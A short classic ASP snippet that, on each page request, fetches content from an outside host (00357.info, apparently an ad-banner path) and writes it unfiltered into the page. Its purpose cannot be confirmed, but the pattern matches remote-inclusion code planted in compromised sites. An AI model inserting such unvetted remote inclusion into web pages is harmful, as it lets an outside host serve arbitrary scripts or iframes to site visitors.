<% Response.Buffer = True Dim objXMLHTTP, xml Set xml = Server.CreateObject("Microsoft.XMLHTTP") xml.Open "GET", "http://00357.info/adman/468_60C/zz_if.asp", False xml.Send Response.Write xml.responseText Set xml = Nothing %>